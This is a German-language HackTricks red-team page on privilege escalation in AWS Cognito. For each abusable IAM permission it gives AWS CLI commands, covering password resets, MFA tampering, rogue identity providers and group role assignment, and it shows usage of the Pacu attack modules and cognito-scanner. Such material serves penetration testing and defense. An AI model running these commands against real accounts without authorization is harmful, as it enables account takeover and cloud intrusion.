AWS - Cognito Privesc

Erlernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Cognito

Für weitere Informationen zu Cognito siehe:

pageAWS - Cognito Enum

Sammeln von Anmeldeinformationen aus dem Identitätspool

Da Cognito IAM-Rollenanmeldeinformationen sowohl an authentifizierte als auch an nicht authentifizierte Benutzer vergeben kann, können Sie, wenn Sie die Identitätspool-ID einer Anwendung finden (die wahrscheinlich fest codiert ist), neue Anmeldeinformationen erhalten und somit eine Privilegieneskalation durchführen (innerhalb eines AWS-Kontos, für das Sie wahrscheinlich zuvor keine Anmeldeinformationen hatten).

Für weitere Informationen überprüfen Sie diese Seite.

Potenzielle Auswirkungen: Direkte Privilegieneskalation zur Dienstrolle, die an nicht authentifizierte Benutzer angehängt ist (und wahrscheinlich auch an diejenige, die an authentifizierte Benutzer angehängt ist).

cognito-identity:SetIdentityPoolRoles, iam:PassRole

Mit dieser Berechtigung können Sie jedem authentifizierten/nicht authentifizierten Benutzer der Cognito-App eine beliebige Cognito-Rolle zuweisen.

aws cognito-identity set-identity-pool-roles \
--identity-pool-id <identity_pool_id> \
--roles unauthenticated=<role ARN>

# Get credentials
## Get one ID
aws cognito-identity get-id --identity-pool-id "eu-west-2:38b294756-2578-8246-9074-5367fc9f5367"
## Get creds for that id
aws cognito-identity get-credentials-for-identity --identity-id "eu-west-2:195f9c73-4789-4bb4-4376-99819b6928374" ole

Wenn die Cognito-App keine unauthentifizierten Benutzer aktiviert hat, benötigen Sie möglicherweise auch die Berechtigung cognito-identity:UpdateIdentityPool, um sie zu aktivieren.

Potenzielle Auswirkungen: Direkter Privilege Escalation zu jeder Cognito-Rolle.

cognito-identity:update-identity-pool

Ein Angreifer mit dieser Berechtigung könnte beispielsweise ein Cognito-Benutzerpool unter seiner Kontrolle einrichten oder einen anderen Identitätsanbieter, bei dem er sich als Möglichkeit zum Zugriff auf diesen Cognito Identity Pool anmelden kann. Dann wird das Anmelden bei diesem Benutzeranbieter ihm ermöglichen, auf die konfigurierte authentifizierte Rolle im Identitätspool zuzugreifen.

# This example is using a Cognito User Pool as identity provider
## but you could use any other identity provider
aws cognito-identity update-identity-pool \
--identity-pool-id <value> \
--identity-pool-name <value> \
[--allow-unauthenticated-identities | --no-allow-unauthenticated-identities] \
--cognito-identity-providers ProviderName=user-pool-id,ClientId=client-id,ServerSideTokenCheck=false

# Now you need to login to the User Pool you have configured
## after having the id token of the login continue with the following commands:

# In this step you should have already an ID Token
aws cognito-identity get-id \
--identity-pool-id <id_pool_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>

# Get the identity_id from thr previous commnad response
aws cognito-identity get-credentials-for-identity \
--identity-id <identity_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>

Es ist auch möglich, diese Berechtigung zu missbrauchen, um die Basic-Authentifizierung zu ermöglichen:

aws cognito-identity update-identity-pool \
--identity-pool-id <value> \
--identity-pool-name <value> \
--allow-unauthenticated-identities
--allow-classic-flow

Potenzielle Auswirkungen: Kompromittierung der konfigurierten authentifizierten IAM-Rolle innerhalb des Identitätspools.

cognito-idp:AdminAddUserToGroup

Diese Berechtigung ermöglicht es, einen Cognito-Benutzer zu einer Cognito-Gruppe hinzuzufügen, daher könnte ein Angreifer diese Berechtigung missbrauchen, um einen Benutzer unter seiner Kontrolle zu anderen Gruppen mit höheren Privilegien oder unterschiedlichen IAM-Rollen hinzuzufügen:

aws cognito-idp admin-add-user-to-group \
--user-pool-id <value> \
--username <value> \
--group-name <value>

Potenzielle Auswirkungen: Privilege Escalation zu anderen Cognito-Gruppen und IAM-Rollen, die den Benutzerpoolgruppen zugeordnet sind.

(cognito-idp:CreateGroup | cognito-idp:UpdateGroup), iam:PassRole

Ein Angreifer mit diesen Berechtigungen könnte Gruppen erstellen/aktualisieren, die jede IAM-Rolle enthalten, die von einem kompromittierten Cognito Identity Provider verwendet werden kann, und einen kompromittierten Benutzer Teil der Gruppe machen, um auf all diese Rollen zuzugreifen:

aws cognito-idp create-group --group-name Hacked --user-pool-id <user-pool-id> --role-arn <role-arn>

Potenzielle Auswirkungen: Privilege Escalation zu anderen Cognito IAM-Rollen.

cognito-idp:AdminConfirmSignUp

Diese Berechtigung ermöglicht es, eine Anmeldung zu bestätigen. Standardmäßig kann sich jeder in Cognito-Anwendungen anmelden. Wenn dies so belassen wird, könnte ein Benutzer ein Konto mit beliebigen Daten erstellen und es mit dieser Berechtigung bestätigen.

aws cognito-idp admin-confirm-sign-up \
--user-pool-id <value> \
--username <value>

Potenzielle Auswirkungen: Indirekte Privilege Escalation auf die IAM-Rolle des Identitätspools für authentifizierte Benutzer, wenn es möglich ist, einen neuen Benutzer zu registrieren. Indirekte Privilege Escalation auf andere App-Funktionalitäten, indem ein beliebiges Konto bestätigt werden kann.

cognito-idp:AdminCreateUser

Diese Berechtigung würde einem Angreifer ermöglichen, einen neuen Benutzer im Benutzerpool zu erstellen. Der neue Benutzer wird als aktiviert erstellt, muss jedoch sein Passwort ändern.

aws cognito-idp admin-create-user \
--user-pool-id <value> \
--username <value> \
[--user-attributes <value>] ([Name=email,Value=email@gmail.com])
[--validation-data <value>]
[--temporary-password <value>]

Potenzielle Auswirkungen: Direktes Privilege Escalation auf die IAM-Rolle des Identitätspools für authentifizierte Benutzer. Indirektes Privilege Escalation auf andere App-Funktionalitäten, indem beliebige Benutzer erstellt werden können.

cognito-idp:AdminEnableUser

Diese Berechtigungen können in einem sehr speziellen Fall helfen, in dem ein Angreifer die Anmeldeinformationen eines deaktivierten Benutzers gefunden hat und ihn wieder aktivieren muss.

aws cognito-idp admin-enable-user \
--user-pool-id <value> \
--username <value>

Potenzielle Auswirkungen: Indirekte Privilege Escalation zur IAM-Rolle des Identitätspools für authentifizierte Benutzer und Berechtigungen des Benutzers, wenn der Angreifer Anmeldeinformationen für einen deaktivierten Benutzer hatte.

cognito-idp:AdminInitiateAuth, cognito-idp:AdminRespondToAuthChallenge

Diese Berechtigung ermöglicht das Einloggen mit der Methode ADMIN_USER_PASSWORD_AUTH. Weitere Informationen finden Sie unter folgendem Link.

cognito-idp:AdminSetUserPassword

Diese Berechtigung würde einem Angreifer erlauben, das Passwort eines beliebigen Benutzers zu ändern, was es ihm ermöglicht, sich als beliebiger Benutzer auszugeben (sofern dieser keine MFA aktiviert hat).

aws cognito-idp admin-set-user-password \
--user-pool-id <value> \
--username <value> \
--password <value> \
--permanent

Potenzielle Auswirkungen: Direktes Privilegien-Eskalation zu potenziell jedem Benutzer, daher Zugriff auf alle Gruppen, denen jeder Benutzer angehört, und Zugriff auf die IAM-Rolle des authentifizierten Identitätspools.

cognito-idp:AdminSetUserSettings | cognito-idp:SetUserMFAPreference | cognito-idp:SetUserPoolMfaConfig | cognito-idp:UpdateUserPool

AdminSetUserSettings: Ein Angreifer könnte potenziell diese Berechtigung missbrauchen, um ein Mobiltelefon unter seiner Kontrolle als SMS-MFA eines Benutzers festzulegen.

aws cognito-idp admin-set-user-settings \
--user-pool-id <value> \
--username <value> \
--mfa-options <value>

SetUserMFAPreference: Ähnlich wie zuvor kann diese Berechtigung verwendet werden, um die MFA-Präferenzen eines Benutzers zu setzen und somit den MFA-Schutz zu umgehen.

aws cognito-idp admin-set-user-mfa-preference \
[--sms-mfa-settings <value>] \
[--software-token-mfa-settings <value>] \
--username <value> \
--user-pool-id <value>

SetUserPoolMfaConfig: Ähnlich wie die vorherige Berechtigung kann diese Berechtigung verwendet werden, um die MFA-Einstellungen eines Benutzer-Pools zu setzen und den MFA-Schutz zu umgehen.

aws cognito-idp set-user-pool-mfa-config \
--user-pool-id <value> \
[--sms-mfa-configuration <value>] \
[--software-token-mfa-configuration <value>] \
[--mfa-configuration <value>]

UpdateUserPool: Es ist auch möglich, den Benutzerpool zu aktualisieren, um die MFA-Richtlinie zu ändern. Überprüfen Sie hier die CLI.

Potenzielle Auswirkungen: Indirekte Privilegieneskalation zu potenziell jedem Benutzer, von dem der Angreifer die Anmeldeinformationen kennt. Dies könnte es ermöglichen, den MFA-Schutz zu umgehen.

cognito-idp:AdminUpdateUserAttributes

Ein Angreifer mit dieser Berechtigung könnte die E-Mail-Adresse oder Telefonnummer oder ein anderes Attribut eines Benutzers unter seiner Kontrolle ändern, um zu versuchen, mehr Privilegien in einer zugrunde liegenden Anwendung zu erlangen. Dies ermöglicht das Ändern einer E-Mail-Adresse oder Telefonnummer und das Festlegen als verifiziert.

aws cognito-idp admin-update-user-attributes \
--user-pool-id <value> \
--username <value> \
--user-attributes <value>

Potenzielle Auswirkungen: Potenzielle indirekte Privilege Escalation in der zugrunde liegenden Anwendung unter Verwendung von Cognito User Pool, die Berechtigungen basierend auf Benutzerattributen vergibt.

cognito-idp:CreateUserPoolClient | cognito-idp:UpdateUserPoolClient

Ein Angreifer mit dieser Berechtigung könnte einen neuen User Pool Client mit weniger Einschränkungen erstellen, als bereits vorhandene Pool-Clients. Zum Beispiel könnte der neue Client jede Art von Authentifizierungsmethode zulassen, keinen geheimen Schlüssel haben, die Tokenwiderrufung deaktiviert haben, zulassen, dass Tokens für einen längeren Zeitraum gültig sind...

Das Gleiche kann erreicht werden, wenn anstelle der Erstellung eines neuen Clients ein vorhandener geändert wird.

In der Befehlszeile (oder der Aktualisierung) können Sie alle Optionen sehen, überprüfen Sie es!.

aws cognito-idp create-user-pool-client \
--user-pool-id <value> \
--client-name <value> \
[...]

Potenzielle Auswirkungen: Potenzielle indirekte Privilegieneskalation zum vom Benutzerpool verwendeten Identitätspool autorisierten Benutzer, indem ein neuer Client erstellt wird, der die Sicherheitsmaßnahmen lockert und es einem Angreifer ermöglicht, sich mit einem Benutzer anzumelden, den er erstellen konnte.

cognito-idp:CreateUserImportJob | cognito-idp:StartUserImportJob

Ein Angreifer könnte diese Berechtigung missbrauchen, um Benutzer zu erstellen, indem er eine CSV-Datei mit neuen Benutzern hochlädt.

# Create a new import job
aws cognito-idp create-user-import-job \
--job-name <value> \
--user-pool-id <value> \
--cloud-watch-logs-role-arn <value>

# Use a new import job
aws cognito-idp start-user-import-job \
--user-pool-id <value> \
--job-id <value>

# Both options before will give you a URL where you can send the CVS file with the users to create
curl -v -T "PATH_TO_CSV_FILE" \
-H "x-amz-server-side-encryption:aws:kms" "PRE_SIGNED_URL"

(In dem Fall, dass Sie einen neuen Import-Job erstellen, benötigen Sie möglicherweise auch die IAM-Passrolle-Berechtigung, die ich noch nicht getestet habe).

Potenzielle Auswirkungen: Direktes Privilegien-Eskalation auf die IAM-Rolle des Identitätspools für authentifizierte Benutzer. Indirekte Privilegien-Eskalation auf andere App-Funktionalitäten, indem beliebige Benutzer erstellt werden können.

cognito-idp:CreateIdentityProvider | cognito-idp:UpdateIdentityProvider

Ein Angreifer könnte einen neuen Identitätsanbieter erstellen, um sich dann über diesen Anbieter anzumelden.

aws cognito-idp create-identity-provider \
--user-pool-id <value> \
--provider-name <value> \
--provider-type <value> \
--provider-details <value> \
[--attribute-mapping <value>] \
[--idp-identifiers <value>]

Potenzielle Auswirkungen: Direktes Privilegien-Eskalation zum IAM-Rolle des Identitätspools für authentifizierte Benutzer. Indirekte Privilegien-Eskalation zu anderen App-Funktionalitäten durch die Möglichkeit, jeden Benutzer zu erstellen.

Analyse von cognito-sync:*

Dies ist eine sehr häufige Berechtigung standardmäßig in Rollen von Cognito Identitätspools. Auch wenn ein Platzhalter in Berechtigungen immer schlecht aussieht (besonders wenn es von AWS kommt), sind die erteilten Berechtigungen aus der Perspektive eines Angreifers nicht besonders nützlich.

Diese Berechtigung erlaubt das Lesen von Benutzerinformationen der Identitätspools und Identitäts-IDs innerhalb der Identitätspools (was keine sensiblen Informationen sind). Identitäts-IDs können Datensätze zugewiesen haben, die Informationen zu den Sitzungen enthalten (AWS definiert es als ein gespeichertes Spiel). Es ist möglich, dass hier sensible Informationen enthalten sind (aber die Wahrscheinlichkeit ist ziemlich gering). Auf der Enumeration-Seite finden Sie, wie auf diese Informationen zugegriffen werden kann.

Ein Angreifer könnte auch diese Berechtigungen nutzen, um sich für einen Cognito-Stream anzumelden, der Änderungen veröffentlicht oder eine Lambda-Funktion, die auf Cognito-Ereignisse reagiert auszulösen. Ich habe gesehen, dass dies nicht verwendet wird, und ich würde hier keine sensiblen Informationen erwarten, aber es ist nicht unmöglich.

Automatische Tools

  • Pacu, das AWS-Exploit-Framework, enthält jetzt die Module "cognito__enum" und "cognito__attack", die die Enumeration aller Cognito-Assets in einem Konto automatisieren und schwache Konfigurationen, Benutzerattribute für den Zugriffskontrolle usw. kennzeichnen, sowie die automatisierte Benutzererstellung (einschließlich MFA-Unterstützung) und Privilegien-Eskalation basierend auf änderbaren benutzerdefinierten Attributen, verwendbaren Identitätspool-Anmeldeinformationen, übernehmbaren Rollen in ID-Token usw.

Für eine Beschreibung der Funktionsweise der Module siehe Teil 2 des Blog-Beitrags. Für Installationsanweisungen siehe die Hauptseite von Pacu.

Verwendung

Beispielhafte Verwendung von cognito__attack, um die Benutzererstellung zu versuchen und alle Privilegien-Eskalationsvektoren gegen einen bestimmten Identitätspool und Benutzerpool-Client durchzuführen:

Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools
us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients
59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX

Beispiel für die Verwendung von cognito__enum, um alle Benutzerpools, Benutzerpool-Clients, Identitätspools, Benutzer usw. zu sammeln, die im aktuellen AWS-Konto sichtbar sind:

Pacu (new:test) > run cognito__enum
  • Cognito Scanner ist ein CLI-Tool in Python, das verschiedene Angriffe auf Cognito implementiert, einschließlich einer Privilege Escalation.

Installation

$ pip install cognito-scanner

Verwendung

$ cognito-scanner --help

Für weitere Informationen besuchen Sie https://github.com/padok-team/cognito-scanner

Erlernen Sie AWS-Hacking von Null auf mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Last updated